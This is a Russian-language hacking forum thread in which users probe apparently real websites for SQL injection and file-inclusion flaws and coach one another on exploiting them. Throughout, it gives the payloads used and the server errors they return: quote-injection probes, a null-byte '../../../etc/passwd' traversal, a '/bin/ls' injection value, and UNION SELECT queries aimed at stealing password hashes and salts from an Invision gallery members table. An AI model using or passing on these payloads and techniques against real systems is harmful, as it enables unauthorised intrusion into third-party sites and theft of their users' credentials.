В общем если такие ошибки возможен ли тут sql иньекция ? 1, ndex.php?ID=-1'1699&CATEGORY=0-N-1'ews Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/sfl1/domains/2uk/public_html/story2.php on line 12 Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in /home/sfl1/domains/2uk/public_html/story2.php on line 17 ******************************************* 2, ain.php?pid=?Qalias=x%0a/bin/ls%20/ Warning: main(pages/?Qalias=x /bin/ls /.php): failed to open stream: No such file or directory in /var/www/clients/jus/main.php on line 97 Warning: main(): Failed opening 'pages/?Qalias=x /bin/ls /.php' for inclusion (include_path='.:/usr/share/pear') in /var/www/clients/just/main.php on line 97 ******************************************** 3, /index.htm?id=-1'2518 Fatal error: Call to undefined method DB_Error::fetchInto() in /var/www/html/core/lib/classes/GO_DbObj.php on line 536 ******************************************** ?_m=news&_a=viewnews&newsid=-1' Fatal error: Invalid News Item in /home/wwwdkho/public_html/support/modules/news/client_news.php on line 102 ********************************* 4. ndex.php?id='company/services Warning: main(content/\'company/services.txt) [function.main]: failed to open stream: No such file or directory in /home/wav/public_html/index.php on line 186 Warning: main(content/\'company/services.txt) [function.main]: failed to open stream: No such file or directory in /home/wav/public_html/index.php on line 186 ****************************************** И напоследок вот такое /index.php?id_page=-1 При значение -1 Некаких ошибок нету. Просто Появлятеся белая страница ( инечегона ней нету) **********************************
1. возможно sql-inj. По крайне мере раскрытие серверного пути на лицо 2. возможно php-incude. Эххх.. попробовал бы %00, ain.php?pid=php-include вроде так. 3. вряд ли скуль.. просто ошибка в обработке данных. Но также во втором случае не исключена возможность sql-inj. 4. чистой воды локальный инклуд. Пробуй отсечь расширения - %00 про "напоследок".. это просто реакция такая на "плохой" параметр...скуль возможна.
только локальный инклюд из /pages. %00 уместен. 3. Вызов неопределенного метода класса. При возможности глянуть на сам класс GO_DbObj.php
А где можно поподробнее почитать про локальные инклюды? Чтото инфы я так и ненашёл. а по мускульным инклюдам врое достаточно
Во вотором примере пробывал вот так main.php?pid=?../../../../../../../etc/passwd%00 Warning: main(pages/?../../../../../../../etc/passwd\0.php): failed to open stream: No such file or directory in /var/www/clients/juааlar/main.php on line 97
значит %00 отпадает.. во-первых, убери вопросительный знак -) а во вторых пробуй разные пхп-файлы втсавлять без расширения пхп.. без ссылки сложно судить.. может даже там ниче и нет интересного
про локальные инклуды можешь почитать здесь http://forum.antichat.ru/threadnav22832-1-10.html в 4 случае ты можешь просмотреть services.txt, вероятнее всего там php код. возможно там есть ошибки или пароли к бд.
А как считать converge_members_pass и converge_pass_salt из БД (я нашел скуль в invision gallery 2.0.4) ??? Когда ввожу в адрес вот так: site/forum/index.php?act=module&%20%20module=gallery&cmd=slideshow&show=1,%201%20UNION%20SELECT%20converge_pass_hash%20FROM%20ipbf_members%20LIMIT%201 То выдает ошибку : mySQL query error: SELECT i.file_type, i.masked_file_name, i.caption, i.id, i.directory, m.name, m.id AS mid FROM ipbf_gallery_images i, ipbf_members m WHERE album_id=0 AND m.id=i.member_id ORDER BY date DESC LIMIT 1, 1 UNION SELECT converge_pass_hash FROM ipbf_members LIMIT 1, 1 SQL error: Incorrect usage of UNION and ORDER BY
Не совпадает количество столбцов до юнион и после, кроме того возможно после order by нельзя употреблять union. В любом случае есть возможность посимвольного перебора.
Спасибо! Но это мне не поможет Я вот еще нашел, но тут тоже не врубаюсь. http:/site/forum/index.php?act=module&module=gallery&cmd=si&img=207%20UNION%20SELECT%201,2,3,4,converge_pass_hash%20FROM%20ipbf_members_converge И соответственно: mySQL query error: SELECT id, caption, masked_file_name, directory, media, thumbnail FROM ipbf_gallery_images WHERE album_id=3 AND id > 207 UNION SELECT 1,2,3,4,converge_pass_hash FROM ipbf_members_converge ORDER BY id ASC LIMIT 0,2 SQL error: The used SELECT statements have a different number of columns Не поможешь?(уже нашел) Так. Я нашел число столбцов точно, теперь выдает страницу с картинкой. Но почему-то не дает мне хэшей.